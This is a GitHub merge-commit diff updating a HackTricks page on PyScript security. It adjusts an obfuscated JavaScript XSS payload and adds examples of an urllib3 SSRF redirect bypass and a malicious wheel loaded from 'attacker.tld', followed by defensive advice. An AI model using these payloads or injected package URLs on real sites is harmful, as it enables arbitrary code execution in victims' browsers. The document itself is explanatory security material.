Merge pull request #1240 from HackTricks-wiki/research_update_src_generic-methodologies-and-resources_python_pyscript_20250805_082920

Research Update Enhanced src/generic-methodologies-and-resou...
This commit is contained in:
SirBroccoli 2025-08-20 04:29:56 +02:00 committed by GitHub
commit 22bea233ef

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@ -95,7 +95,7 @@ Code:
```html
<py-script>
prinht("
prinht(""
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
@ -157,7 +157,7 @@ Code:
return _0x599c()
}
</script>
")
"")
</py-script>
```
@ -180,7 +180,68 @@ Result:
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
---
## New vulnerabilities & techniques (2023-2025)
### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)
`urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them effectively bypassing anti-SSRF logic.
```html
<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
print(r.status, r.url)
</script>
```
Patched in `urllib3 2.5.0` upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details.
### Arbitrary package loading & supply-chain attacks
Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victims browser:
```html
<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload # executes attacker-controlled code during installation
</script>
```
*Only pure-Python wheels are required no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.
### Output sanitisation changes (2023+)
* `print()` still injects raw HTML and is therefore XSS-prone (examples above).
* The newer `display()` helper **escapes HTML by default** raw markup must be wrapped in `pyscript.HTML()`.
```python
from pyscript import display, HTML
display("<b>escaped</b>") # renders literally
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
```
This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly.
---
## Defensive Best Practices
* **Keep packages up to date** upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site.
* **Restrict package sources** only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
* **Harden Content Security Policy** disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `<script>` blocks cannot execute.
* **Disallow user-supplied `<py-script>` / `<script type="py">` tags** sanitise HTML on the server before echoing it back to other users.
* **Isolate workers** if you do not need synchronous access to the DOM from workers, enable the `sync_main_only` flag to avoid the `SharedArrayBuffer` header requirements.
## References
* [NVD CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
* [PyScript Built-ins documentation `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
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